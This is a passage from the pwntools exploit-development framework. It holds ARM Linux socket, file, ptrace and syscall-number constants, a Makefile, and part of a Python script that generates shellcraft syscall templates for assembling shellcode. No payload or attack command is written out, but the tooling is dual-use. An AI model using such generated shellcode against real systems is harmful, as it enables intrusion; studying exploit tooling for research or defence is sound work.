PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x3 #define O_RDONLY 0x0 #define O_WRONLY 0x1 #define O_RDWR 0x2 #define O_CREAT 0x40 #define O_EXCL 0x80 #define O_NOCTTY 0x100 #define O_TRUNC 0x200 #define O_APPEND 0x400 #define O_NONBLOCK 0x800 #define O_NDELAY 0x800 #define O_DSYNC 0x1000 #define FASYNC 0x2000 #define O_DIRECTORY 0x4000 #define O_NOFOLLOW 0x8000 #define O_DIRECT 0x10000 #define O_LARGEFILE 0x20000 #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_SYNC 0x101000 #define O_PATH 0x200000 #define __O_TMPFILE 0x400000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 #define F_GETOWN 9 #define F_SETSIG 10 #define F_GETSIG 11 #define F_GETLK64 12 #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x404000 #define O_ASYNC 0x2000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_GROWSDOWN 0x0100 #define MAP_DENYWRITE 0x0800 #define MAP_EXECUTABLE 0x1000 #define MAP_LOCKED 0x2000 #define MAP_NORESERVE 0x4000 #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 #define MS_INVALIDATE 2 #define MS_SYNC 4 #define MCL_CURRENT 1 #define MCL_FUTURE 2 #define MCL_ONFAULT 4 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MAP_ANON 0x20 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define POSIX_MADV_DONTNEED 0x4 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define USR26_MODE 0x00 #define FIQ26_MODE 0x01 #define IRQ26_MODE 0x02 #define SVC26_MODE 0x03 #define USR_MODE 0x10 #define FIQ_MODE 0x11 #define IRQ_MODE 0x12 #define SVC_MODE 0x13 #define ABT_MODE 0x17 #define UND_MODE 0x1b #define SYSTEM_MODE 0x1f #define MODE_MASK 0x1f #define T_BIT 0x20 #define F_BIT 0x40 #define I_BIT 0x80 #define CC_V_BIT (1 << 28) #define CC_C_BIT (1 << 29) #define CC_Z_BIT (1 << 30) #define CC_N_BIT (1 << 31) #define PCMASK 0 #define SYS_accept (0+285) #define SYS_accept4 (0+366) #define SYS_access (0+ 33) #define SYS_acct (0+ 51) #define SYS_add_key (0+309) #define SYS_adjtimex (0+124) #define SYS_alarm (0+ 27) #define SYS_arm_fadvise64_64 (0+270) #define SYS_arm_sync_file_range (0+341) #define SYS_bdflush (0+134) #define SYS_bind (0+282) #define SYS_bpf (0+386) #define SYS_brk (0+ 45) #define SYS_capget (0+184) #define SYS_capset (0+185) #define SYS_chdir (0+ 12) #define SYS_chmod (0+ 15) #define SYS_chown (0+182) #define SYS_chown32 (0+212) #define SYS_chroot (0+ 61) #define SYS_clock_adjtime (0+372) #define SYS_clock_adjtime64 (0 + 405) #define SYS_clock_getres (0+264) #define SYS_clock_getres_time64 (0 + 406) #define SYS_clock_gettime (0+263) #define SYS_clock_gettime64 (0 + 403) #define SYS_clock_nanosleep (0+265) #define SYS_clock_nanosleep_time64 (0 + 407) #define SYS_clock_settime (0+262) #define SYS_clock_settime64 (0 + 404) #define SYS_clone (0+120) #define SYS_clone3 (0 + 435) #define SYS_close (0+ 6) #define SYS_connect (0+283) #define SYS_copy_file_range (0+391) #define SYS_creat (0+ 8) #define SYS_delete_module (0+129) #define SYS_dup (0+ 41) #define SYS_dup2 (0+ 63) #define SYS_dup3 (0+358) #define SYS_epoll_create (0+250) #define SYS_epoll_create1 (0+357) #define SYS_epoll_ctl (0+251) #define SYS_epoll_wait (0+252) #define SYS_eventfd (0+351) #define SYS_eventfd2 (0+356) #define SYS_execve (0+ 11) #define SYS_execveat (0+387) #define SYS_exit (0+ 1) #define SYS_exit_group (0+248) #define SYS_faccessat (0+334) #define SYS_fallocate (0+352) #define SYS_fanotify_init (0+367) #define SYS_fanotify_mark (0+368) #define SYS_fchdir (0+133) #define SYS_fchmod (0+ 94) #define SYS_fchmodat (0+333) #define SYS_fchown (0+ 95) #define SYS_fchown32 (0+207) #define SYS_fchownat (0+325) #define SYS_fcntl (0+ 55) #define SYS_fcntl64 (0+221) #define SYS_fdatasync (0+148) #define SYS_fgetxattr (0+231) #define SYS_finit_module (0+379) #define SYS_flistxattr (0+234) #define SYS_flock (0+143) #define SYS_fork (0+ 2) #define SYS_fremovexattr (0+237) #define SYS_fsconfig (0 + 431) #define SYS_fsetxattr (0+228) #define SYS_fsmount (0 + 432) #define SYS_fsopen (0 + 430) #define SYS_fspick (0 + 433) #define SYS_fstat (0+108) #define SYS_fstat64 (0+197) #define SYS_fstatat64 (0+327) #define SYS_fstatfs (0+100) #define SYS_fstatfs64 (0+267) #define SYS_fsync (0+118) #define SYS_ftruncate (0+ 93) #define SYS_ftruncate64 (0+194) #define SYS_futex (0+240) #define SYS_futex_time64 (0 + 422) #define SYS_futimesat (0+326) #define SYS_getcpu (0+345) #define SYS_getcwd (0+183) #define SYS_getdents (0+141) #define SYS_getdents64 (0+217) #define SYS_getegid (0+ 50) #define SYS_getegid32 (0+202) #define SYS_geteuid (0+ 49) #define SYS_geteuid32 (0+201) #define SYS_getgid (0+ 47) #define SYS_getgid32 (0+200) #define SYS_getgroups (0+ 80) #define SYS_getgroups32 (0+205) #define SYS_getitimer (0+105) #define SYS_get_mempolicy (0+320) #define SYS_getpeername (0+287) #define SYS_getpgid (0+132) #define SYS_getpgrp (0+ 65) #define SYS_getpid (0+ 20) #define SYS_getppid (0+ 64) #define SYS_getpriority (0+ 96) #define SYS_getrandom (0+384) #define SYS_getresgid (0+171) #define SYS_getresgid32 (0+211) #define SYS_getresuid (0+165) #define SYS_getresuid32 (0+209) #define SYS_getrlimit (0+ 76) #define SYS_get_robust_list (0+339) #define SYS_getrusage (0+ 77) #define SYS_getsid (0+147) #define SYS_getsockname (0+286) #define SYS_getsockopt (0+295) #define SYS_gettid (0+224) #define SYS_gettimeofday (0+ 78) #define SYS_getuid (0+ 24) #define SYS_getuid32 (0+199) #define SYS_getxattr (0+229) #define SYS_init_module (0+128) #define SYS_inotify_add_watch (0+317) #define SYS_inotify_init (0+316) #define SYS_inotify_init1 (0+360) #define SYS_inotify_rm_watch (0+318) #define SYS_io_cancel (0+247) #define SYS_ioctl (0+ 54) #define SYS_io_destroy (0+244) #define SYS_io_getevents (0+245) #define SYS_io_pgetevents (0 + 399) #define SYS_io_pgetevents_time64 (0 + 416) #define SYS_ioprio_get (0+315) #define SYS_ioprio_set (0+314) #define SYS_io_setup (0+243) #define SYS_io_submit (0+246) #define SYS_io_uring_enter (0 + 426) #define SYS_io_uring_register (0 + 427) #define SYS_io_uring_setup (0 + 425) #define SYS_ipc (0+117) #define SYS_kcmp (0+378) #define SYS_kexec_file_load (0 + 401) #define SYS_kexec_load (0+347) #define SYS_keyctl (0+311) #define SYS_kill (0+ 37) #define SYS_lchown (0+ 16) #define SYS_lchown32 (0+198) #define SYS_lgetxattr (0+230) #define SYS_link (0+ 9) #define SYS_linkat (0+330) #define SYS_listen (0+284) #define SYS_listxattr (0+232) #define SYS_llistxattr (0+233) #define SYS__llseek (0+140) #define SYS_lookup_dcookie (0+249) #define SYS_lremovexattr (0+236) #define SYS_lseek (0+ 19) #define SYS_lsetxattr (0+227) #define SYS_lstat (0+107) #define SYS_lstat64 (0+196) #define SYS_madvise (0+220) #define SYS_mbind (0+319) #define SYS_membarrier (0+389) #define SYS_memfd_create (0+385) #define SYS_migrate_pages (0 + 400) #define SYS_mincore (0+219) #define SYS_mkdir (0+ 39) #define SYS_mkdirat (0+323) #define SYS_mknod (0+ 14) #define SYS_mknodat (0+324) #define SYS_mlock (0+150) #define SYS_mlock2 (0+390) #define SYS_mlockall (0+152) #define SYS_mmap (0+ 90) #define SYS_mmap2 (0+192) #define SYS_mount (0+ 21) #define SYS_move_mount (0 + 429) #define SYS_move_pages (0+344) #define SYS_mprotect (0+125) #define SYS_mq_getsetattr (0+279) #define SYS_mq_notify (0+278) #define SYS_mq_open (0+274) #define SYS_mq_timedreceive (0+277) #define SYS_mq_timedreceive_time64 (0 + 419) #define SYS_mq_timedsend (0+276) #define SYS_mq_timedsend_time64 (0 + 418) #define SYS_mq_unlink (0+275) #define SYS_mremap (0+163) #define SYS_msgctl (0+304) #define SYS_msgget (0+303) #define SYS_msgrcv (0+302) #define SYS_msgsnd (0+301) #define SYS_msync (0+144) #define SYS_munlock (0+151) #define SYS_munlockall (0+153) #define SYS_munmap (0+ 91) #define SYS_name_to_handle_at (0+370) #define SYS_nanosleep (0+162) #define SYS__newselect (0+142) #define SYS_nfsservctl (0+169) #define SYS_nice (0+ 34) #define SYS_OABI_SYSCALL_BASE 0x900000 #define SYS_open (0+ 5) #define SYS_openat (0+322) #define SYS_openat2 (0 + 437) #define SYS_open_by_handle_at (0+371) #define SYS_open_tree (0 + 428) #define SYS_pause (0+ 29) #define SYS_pciconfig_iobase (0+271) #define SYS_pciconfig_read (0+272) #define SYS_pciconfig_write (0+273) #define SYS_perf_event_open (0+364) #define SYS_personality (0+136) #define SYS_pidfd_getfd (0 + 438) #define SYS_pidfd_open (0 + 434) #define SYS_pidfd_send_signal (0 + 424) #define SYS_pipe (0+ 42) #define SYS_pipe2 (0+359) #define SYS_pivot_root (0+218) #define SYS_pkey_alloc (0 + 395) #define SYS_pkey_free (0 + 396) #define SYS_pkey_mprotect (0 + 394) #define SYS_poll (0+168) #define SYS_ppoll_time64 (0 + 414) #define SYS_prctl (0+172) #define SYS_pread64 (0+180) #define SYS_preadv (0+361) #define SYS_preadv2 (0+392) #define SYS_prlimit64 (0+369) #define SYS_process_vm_readv (0+376) #define SYS_process_vm_writev (0+377) #define SYS_pselect6_time64 (0 + 413) #define SYS_ptrace (0+ 26) #define SYS_pwrite64 (0+181) #define SYS_pwritev (0+362) #define SYS_pwritev2 (0+393) #define SYS_quotactl (0+131) #define SYS_read (0+ 3) #define SYS_readahead (0+225) #define SYS_readdir (0+ 89) #define SYS_readlink (0+ 85) #define SYS_readlinkat (0+332) #define SYS_readv (0+145) #define SYS_reboot (0+ 88) #define SYS_recv (0+291) #define SYS_recvfrom (0+292) #define SYS_recvmmsg (0+365) #define SYS_recvmmsg_time64 (0 + 417) #define SYS_recvmsg (0+297) #define SYS_remap_file_pages (0+253) #define SYS_removexattr (0+235) #define SYS_rename (0+ 38) #define SYS_renameat (0+329) #define SYS_renameat2 (0+382) #define SYS_request_key (0+310) #define SYS_restart_syscall (0+ 0) #define SYS_rmdir (0+ 40) #define SYS_rseq (0 + 398) #define SYS_rt_sigaction (0+174) #define SYS_rt_sigpending (0+176) #define SYS_rt_sigprocmask (0+175) #define SYS_rt_sigqueueinfo (0+178) #define SYS_rt_sigreturn (0+173) #define SYS_rt_sigsuspend (0+179) #define SYS_rt_sigtimedwait (0+177) #define SYS_rt_sigtimedwait_time64 (0 + 421) #define SYS_rt_tgsigqueueinfo (0+363) #define SYS_sched_getaffinity (0+242) #define SYS_sched_getattr (0+381) #define SYS_sched_getparam (0+155) #define SYS_sched_get_priority_max (0+159) #define SYS_sched_get_priority_min (0+160) #define SYS_sched_getscheduler (0+157) #define SYS_sched_rr_get_interval (0+161) #define SYS_sched_rr_get_interval_time64 (0 + 423) #define SYS_sched_setaffinity (0+241) #define SYS_sched_setattr (0+380) #define SYS_sched_setparam (0+154) #define SYS_sched_setscheduler (0+156) #define SYS_sched_yield (0+158) #define SYS_seccomp (0+383) #define SYS_select (0+ 82) #define SYS_semctl (0+300) #define SYS_semget (0+299) #define SYS_semop (0+298) #define SYS_semtimedop (0+312) #define SYS_semtimedop_time64 (0 + 420) #define SYS_send (0+289) #define SYS_sendfile (0+187) #define SYS_sendfile64 (0+239) #define SYS_sendmmsg (0+374) #define SYS_sendmsg (0+296) #define SYS_sendto (0+290) #define SYS_setdomainname (0+121) #define SYS_setfsgid (0+139) #define SYS_setfsgid32 (0+216) #define SYS_setfsuid (0+138) #define SYS_setfsuid32 (0+215) #define SYS_setgid (0+ 46) #define SYS_setgid32 (0+214) #define SYS_setgroups (0+ 81) #define SYS_setgroups32 (0+206) #define SYS_sethostname (0+ 74) #define SYS_setitimer (0+104) #define SYS_set_mempolicy (0+321) #define SYS_setns (0+375) #define SYS_setpgid (0+ 57) #define SYS_setpriority (0+ 97) #define SYS_setregid (0+ 71) #define SYS_setregid32 (0+204) #define SYS_setresgid (0+170) #define SYS_setresgid32 (0+210) #define SYS_setresuid (0+164) #define SYS_setresuid32 (0+208) #define SYS_setreuid (0+ 70) #define SYS_setreuid32 (0+203) #define SYS_setrlimit (0+ 75) #define SYS_set_robust_list (0+338) #define SYS_setsid (0+ 66) #define SYS_setsockopt (0+294) #define SYS_set_tid_address (0+256) #define SYS_settimeofday (0+ 79) #define SYS_setuid (0+ 23) #define SYS_setuid32 (0+213) #define SYS_setxattr (0+226) #define SYS_shmat (0+305) #define SYS_shmctl (0+308) #define SYS_shmdt (0+306) #define SYS_shmget (0+307) #define SYS_shutdown (0+293) #define SYS_sigaction (0+ 67) #define SYS_sigaltstack (0+186) #define SYS_signalfd (0+349) #define SYS_signalfd4 (0+355) #define SYS_sigpending (0+ 73) #define SYS_sigprocmask (0+126) #define SYS_sigreturn (0+119) #define SYS_sigsuspend (0+ 72) #define SYS_socket (0+281) #define SYS_socketcall (0+102) #define SYS_socketpair (0+288) #define SYS_splice (0+340) #define SYS_stat (0+106) #define SYS_stat64 (0+195) #define SYS_statfs (0+ 99) #define SYS_statfs64 (0+266) #define SYS_statx (0 + 397) #define SYS_stime (0+ 25) #define SYS_swapoff (0+115) #define SYS_swapon (0+ 87) #define SYS_symlink (0+ 83) #define SYS_symlinkat (0+331) #define SYS_sync (0+ 36) #define SYS_syncfs (0+373) #define SYS_syscall (0+113) #define SYS_SYSCALL_BASE 0 #define SYS__sysctl (0+149) #define SYS_sysfs (0+135) #define SYS_sysinfo (0+116) #define SYS_syslog (0+103) #define SYS_tee (0+342) #define SYS_tgkill (0+268) #define SYS_time (0+ 13) #define SYS_timer_create (0+257) #define SYS_timer_delete (0+261) #define SYS_timerfd (0+350) #define SYS_timerfd_gettime (0+354) #define SYS_timerfd_gettime64 (0 + 410) #define SYS_timerfd_settime (0+353) #define SYS_timerfd_settime64 (0 + 411) #define SYS_timer_getoverrun (0+260) #define SYS_timer_gettime (0+259) #define SYS_timer_gettime64 (0 + 408) #define SYS_timer_settime (0+258) #define SYS_timer_settime64 (0 + 409) #define SYS_times (0+ 43) #define SYS_tkill (0+238) #define SYS_truncate (0+ 92) #define SYS_truncate64 (0+193) #define SYS_ugetrlimit (0+191) #define SYS_umask (0+ 60) #define SYS_umount (0+ 22) #define SYS_umount2 (0+ 52) #define SYS_uname (0+122) #define SYS_unlink (0+ 10) #define SYS_unlinkat (0+328) #define SYS_unshare (0+337) #define SYS_uselib (0+ 86) #define SYS_userfaultfd (0+388) #define SYS_ustat (0+ 62) #define SYS_utime (0+ 30) #define SYS_utimensat (0+348) #define SYS_utimensat_time64 (0 + 412) #define SYS_utimes (0+269) #define SYS_vfork (0+190) #define SYS_vhangup (0+111) #define SYS_vmsplice (0+343) #define SYS_vserver (0+313) #define SYS_wait4 (0+114) #define SYS_waitid (0+280) #define SYS_write (0+ 4) #define SYS_writev (0+146) Gallopsled-pwntools-3ad86ec/pwnlib/data/syscalls/000077500000000000000000000000001507273764500222435ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/syscalls/Makefile000066400000000000000000000006071507273764500237060ustar00rootroot00000000000000ROOT=$(shell git rev-parse --show-toplevel) TEMPLATE_DIR="$ROOT/pwnlib/shellcraft/templates/common/linux/syscalls" all: generate.py functions.py python generate.py "$(ROOT)/pwnlib/shellcraft/templates/common/linux/syscalls" functions.py: wget https://raw.githubusercontent.com/zachriggle/functions/master/functions.py generate_darwin: python3 generate_darwin.py "$(ROOT)" .phony: all Gallopsled-pwntools-3ad86ec/pwnlib/data/syscalls/generate.py000066400000000000000000000214021507273764500244060ustar00rootroot00000000000000#!/usr/bin/env python3 from __future__ import division import argparse import keyword import os from pwnlib import constants from pwnlib.context import context # github.com/zachriggle/functions from functions import functions, Function, Argument ARCHITECTURES = ['i386', 'amd64', 'arm', 'aarch64', 'mips'] HEADER = ''' <% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> ''' DOCSTRING = ''' <%docstring>{name}({arguments_comma_separated}) -> str Invokes the syscall {name}. See 'man 2 {name}' for more information. Arguments: {arg_docs} Returns: {return_type} ''' ARGUMENTS = """ <%page args="{arguments_default_values}"/> """ CALL = """ <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = {string_arguments!r} can_pushstr_array = {array_arguments!r} argument_names = {argument_names!r} argument_values = [{arguments_comma_separated!s}] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[name] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[name] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in {syscalls!r}: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % {syscalls!r}) %> /* {name}(${{', '.join(syscall_repr)}}) */ %for name, arg in string_arguments.items(): ${{pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}} ${{pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}} %endfor %for name, arg in array_arguments.items(): ${{pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}} %endfor %for name, arg in stack_arguments.items(): ${{pwnlib.shellcraft.push(arg)}} %endfor ${{pwnlib.shellcraft.setregs(register_arguments)}} ${{pwnlib.shellcraft.syscall(syscall)}} """ def can_be_constant(arg): if arg.derefcnt == 0: return True def can_be_string(arg): if arg.type == 'char' and arg.derefcnt == 1: return True if arg.type == 'void' and arg.derefcnt == 1: return True def can_be_array(arg): if arg.type == 'char' and arg.derefcnt == 2: return True if arg.type == 'void' and arg.derefcnt == 2: return True def fix_bad_arg_names(func, arg): if arg.name == 'len': return 'length' if arg.name in ('str', 'repr') or keyword.iskeyword(arg.name): return arg.name + '_' if func.name == 'open' and arg.name == 'vararg': return 'mode' return arg.name def get_arg_default(arg): return 0 def fix_rt_syscall_name(name): if name.startswith('rt_'): return name[3:] return name def fix_syscall_names(name): # Do not use old_mmap if name == 'SYS_mmap': return ['SYS_mmap2', name] # Some arches don't have vanilla sigreturn if name.endswith('_sigreturn'): return ['SYS_sigreturn', 'SYS_rt_sigreturn'] return [name] def main(target): for arch in ARCHITECTURES: with context.local(arch=arch): generate_one(target) def generate_one(target): SYSCALL_NAMES = [c for c in dir(constants) if c.startswith('SYS_')] for syscall in SYSCALL_NAMES: name = syscall[4:] # Skip anything with uppercase if name.lower() != name: print('Skipping %s' % name) continue # Skip anything that starts with 'unused' or 'sys' after stripping if name.startswith('unused'): print('Skipping %s' % name) continue function = functions.get(name, None) if name.startswith('rt_'): name = name[3:] # If we can't find a function, just stub it out with something # that has a vararg argument. if function is None: print('Stubbing out %s' % name) args = [Argument('int', 0, 'vararg')] function = Function('long', 0, name, args) # Some syscalls have different names on different architectures, # or are superceded. We try to do the "best" thing at runtime. syscalls = fix_syscall_names(syscall) # Set up the argument string for Mako argument_names = [] argument_names_ = [] argument_defaults = [] string_arguments = [] array_arguments = [] arg_docs = [] # for arg in function.args: argname_ = fix_bad_arg_names(function, arg) argname = 